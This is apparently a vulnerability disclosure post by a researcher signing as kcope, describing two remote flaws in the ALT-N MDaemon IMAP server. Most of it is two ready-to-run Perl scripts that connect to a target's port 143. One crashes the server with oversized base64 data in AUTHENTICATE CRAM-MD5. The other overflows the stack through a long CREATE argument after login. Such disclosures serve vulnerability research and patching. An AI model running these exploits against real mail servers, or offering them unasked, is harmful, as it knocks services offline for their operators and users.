Hello this is kcope,

there are two remote vulnerabilities in the latest ALT-N MDaemon imapd 
product
i don't know if any of them is exploitable .. the stack based buffer 
overflow
seems promising, but it's not preauth so i didn't investigate it further.

1.) Remote denial of service in AUTHENTICATE LOGIN and AUTHENTICATE CRAM-MD5
2.) Remote stack based buffer overflow after authentication in the imap 
CREATE statement

---snip---
###
### MDAEMON remote DoS exploit by kcope
### looks like there´s a fault in the base64 decoder
### works also for AUTHENTICATE LOGIN
###

use IO::Socket::INET;

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '143',
                              Proto    => 'tcp');

$a = "q" x 1000;

print $sock "a001 AUTHENTICATE CRAM-MD5\r\n";
print $sock $a,"\r\n";
print $sock $a,"\r\n";

while (<$sock>) {
    print $_;    
}
---snip---


---snip---
### MDAEMON stack based buffer overflow
### Remote DoS exploit by kcope
use IO::Socket::INET;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '143',
                              Proto    => 'tcp');

$a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\" x 10;

print $sock "a001 LOGIN username password\r\n";
print $sock "a001 CREATE $a\r\n";

while (<$sock>) {
    print $_;    
}
---snip---

-kcope